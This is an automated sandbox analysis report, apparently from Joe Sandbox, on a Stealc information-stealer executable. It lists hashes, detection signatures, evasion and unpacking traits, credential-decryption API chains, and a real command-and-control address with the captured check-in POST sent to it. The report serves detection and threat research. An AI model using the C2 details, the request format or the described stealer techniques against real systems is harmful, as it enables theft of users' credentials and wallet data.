Windows Analysis Report
4M3JIACIWk.exe

Overview

General Information

Sample name: 4M3JIACIWk.exe
renamed because original name is a hash value
Original sample name: 0bc1c014e9e5d1b09d1cf2ba0e521c79.exe
Analysis ID: 1540239
MD5: 0bc1c014e9e5d1b09d1cf2ba0e521c79
SHA1: 3c8c872d90b308944d979b033b48870f1d2934db
SHA256: c7bbcad5b7a6cb9a404c4b6077cd657f6d24a98b5b7c4a399aef65a709e73f95
Tags: exeStealcuser-abuse_ch
Infos:

Detection

Stealc
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Detected unpacking (changes PE section rights)
Detected unpacking (overwrites its own PE header)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Powershell download and execute
Yara detected Stealc
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Found evasive API chain (may stop execution after checking locale)
Machine Learning detection for sample
Searches for specific processes (likely to inject)
AV process strings found (often used to terminate AV products)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to create guard pages, often used to hinder reverse engineering and debugging
Contains functionality to dynamically determine API calls
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Extensive use of GetProcAddress (often used to hide API calls)
Found evaded block containing many API calls
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
Internet Provider seen in connection with other malware
One or more processes crash
Queries the volume information (name, serial number etc) of a device
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

AV Detection
barindex
Found malware configuration
Source: 00000000.00000003.2087612753.0000000002480000.00000004.00001000.00020000.00000000.sdmp Malware Configuration Extractor: StealC {"C2 url": "http://185.201.252.118/ef952bc0f542da4b.php", "Botnet": "LogsDiller"}
Multi AV Scanner detection for submitted file
Source: 4M3JIACIWk.exe ReversingLabs: Detection: 39%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for sample
Source: 4M3JIACIWk.exe Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_0040C820 memset,lstrlenA,CryptStringToBinaryA,memcpy,lstrcatA,lstrcatA,lstrcatA, 0_2_0040C820
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_00407240 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree, 0_2_00407240
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_00409AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree, 0_2_00409AC0
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_00418EA0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA, 0_2_00418EA0
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_00409B60 CryptUnprotectData,LocalAlloc,memcpy,LocalFree, 0_2_00409B60
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023ECA87 memset,lstrlen,CryptStringToBinaryA,memcpy,lstrcat,lstrcat,lstrcat, 0_2_023ECA87
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023E74A7 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree, 0_2_023E74A7
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023E9D27 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree, 0_2_023E9D27
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023F9107 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA, 0_2_023F9107
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023E9DC7 CryptUnprotectData,LocalAlloc,memcpy,LocalFree, 0_2_023E9DC7

Compliance
barindex
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Unpacked PE file: 0.2.4M3JIACIWk.exe.400000.1.unpack
Uses 32bit PE files
Source: 4M3JIACIWk.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: C:\Users\user\Desktop\4M3JIACIWk.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA, 0_2_0040E430
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_004138B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose, 0_2_004138B0
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_00414570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA, 0_2_00414570
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_00414910
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 0_2_0040ED20
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose, 0_2_0040BE70
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_0040DE10
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_004016D0
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 0_2_0040DA80
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 0_2_00413EA0
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_0040F6B0
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023EE697 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA, 0_2_023EE697
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023F3B17 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose, 0_2_023F3B17
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023F4B77 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_023F4B77
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023EEF87 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 0_2_023EEF87
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023F47D7 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen, 0_2_023F47D7
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023EE077 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_023EE077
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023EF8F1 FindFirstFileA, 0_2_023EF8F1
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023EDCE7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 0_2_023EDCE7
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023EC0D7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose, 0_2_023EC0D7
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023E1937 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_023E1937
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023EF917 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_023EF917
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023F4107 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose, 0_2_023F4107

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49705 -> 185.201.252.118:80
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://185.201.252.118/ef952bc0f542da4b.php
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.201.252.118Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /ef952bc0f542da4b.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAFHCGIJECFHIDGDBKEHost: 185.201.252.118Content-Length: 217Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 41 35 42 41 33 31 42 42 44 44 38 31 32 36 33 38 30 30 30 39 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 2d 2d 0d 0a Data Ascii: ------JDAFHCGIJECFHIDGDBKEContent-Disposition: form-data; name="hwid"9A5BA31BBDD81263800096------JDAFHCGIJECFHIDGDBKEContent-Disposition: form-data; name="build"LogsDiller------JDAFHCGIJECFHIDGDBKE--
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: INFRANET-ASIT INFRANET-ASIT
Source: unknown TCP traffic detected without corresponding DNS query: 185.201.252.118
Source: unknown TCP traffic detected without corresponding DNS query: 185.201.252.118
Source: unknown TCP traffic detected without corresponding DNS query: 185.201.252.118
Source: unknown TCP traffic detected without corresponding DNS query: 185.201.252.118
Source: unknown TCP traffic detected without corresponding DNS query: 185.201.252.118
Source: unknown TCP traffic detected without corresponding DNS query: 185.201.252.118
Source: unknown TCP traffic detected without corresponding DNS query: 185.201.252.118
Source: unknown TCP traffic detected without corresponding DNS query: 185.201.252.118
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_00404880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlenA,lstrlenA,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle, 0_2_00404880
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.201.252.118Connection: Keep-AliveCache-Control: no-cache
Source: unknown HTTP traffic detected: POST /ef952bc0f542da4b.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAFHCGIJECFHIDGDBKEHost: 185.201.252.118Content-Length: 217Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 41 35 42 41 33 31 42 42 44 44 38 31 32 36 33 38 30 30 30 39 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 2d 2d 0d 0a Data Ascii: ------JDAFHCGIJECFHIDGDBKEContent-Disposition: form-data; name="hwid"9A5BA31BBDD81263800096------JDAFHCGIJECFHIDGDBKEContent-Disposition: form-data; name="build"LogsDiller------JDAFHCGIJECFHIDGDBKE--
Source: 4M3JIACIWk.exe, 00000000.00000002.2280928896.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, 4M3JIACIWk.exe, 00000000.00000002.2280849648.000000000078E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.201.252.118
Source: 4M3JIACIWk.exe, 00000000.00000002.2280928896.00000000007C8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.201.252.118/
Source: 4M3JIACIWk.exe, 00000000.00000002.2280928896.0000000000801000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.201.252.118/4
Source: 4M3JIACIWk.exe, 00000000.00000002.2280928896.0000000000801000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.201.252.118/Y
Source: 4M3JIACIWk.exe, 00000000.00000002.2280928896.0000000000801000.00000004.00000020.00020000.00000000.sdmp, 4M3JIACIWk.exe, 00000000.00000002.2280928896.00000000007C8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.201.252.118/ef952bc0f542da4b.php
Source: 4M3JIACIWk.exe, 00000000.00000002.2280928896.0000000000801000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.201.252.118/ef952bc0f542da4b.php&zV
Source: 4M3JIACIWk.exe, 00000000.00000002.2280928896.0000000000801000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.201.252.118/ef952bc0f542da4b.php/
Source: 4M3JIACIWk.exe, 00000000.00000002.2280928896.0000000000801000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.201.252.118/ef952bc0f542da4b.php3
Source: 4M3JIACIWk.exe, 00000000.00000002.2280928896.0000000000801000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.201.252.118/ef952bc0f542da4b.phpW
Source: 4M3JIACIWk.exe, 00000000.00000002.2280928896.00000000007C8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.201.252.118/ef952bc0f542da4b.phpWindows
Source: 4M3JIACIWk.exe, 00000000.00000002.2280928896.0000000000801000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.201.252.118/ws
Source: Amcache.hve.4.dr String found in binary or memory: http://upx.sf.net

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 00000000.00000002.2280904911.000000000079E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: String function: 004045C0 appears 317 times
One or more processes crash
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4996 -s 1044
Uses 32bit PE files
Source: 4M3JIACIWk.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 00000000.00000002.2280904911.000000000079E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 4M3JIACIWk.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: classification engine Classification label: mal100.troj.evad.winEXE@2/5@0/1
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle, 0_2_00419600
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_00413720 CoCreateInstance,MultiByteToWideChar,lstrcpyn, 0_2_00413720
Source: C:\Users\user\Desktop\4M3JIACIWk.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\67EQJOXR.htm Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4996
Source: C:\Windows\SysWOW64\WerFault.exe File created: C:\ProgramData\Microsoft\Windows\WER\Temp\5df78488-4c48-4551-a392-6f6e14ca05d9 Jump to behavior
Source: 4M3JIACIWk.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: 4M3JIACIWk.exe ReversingLabs: Detection: 39%
Source: unknown Process created: C:\Users\user\Desktop\4M3JIACIWk.exe "C:\Users\user\Desktop\4M3JIACIWk.exe"
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4996 -s 1044
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Section loaded: msimg32.dll Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Section loaded: msvcr100.dll Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32 Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Unpacked PE file: 0.2.4M3JIACIWk.exe.400000.1.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Unpacked PE file: 0.2.4M3JIACIWk.exe.400000.1.unpack
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_00419860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_00419860
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_0041B035 push ecx; ret 0_2_0041B048
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_0079E005 pushad ; retn 0079h 0_2_0079E315
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_0079E574 push eax; retf 0_2_0079E665
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_007A36F4 push eax; ret 0_2_007A3703
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_007A36E5 push eax; ret 0_2_007A3703
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_007A0714 push 7DD07DC0h; iretd 0_2_007A0725
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023FB29C push ecx; ret 0_2_023FB2AF
Source: 4M3JIACIWk.exe Static PE information: section name: .text entropy: 7.485371704883883
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_00419860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_00419860
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
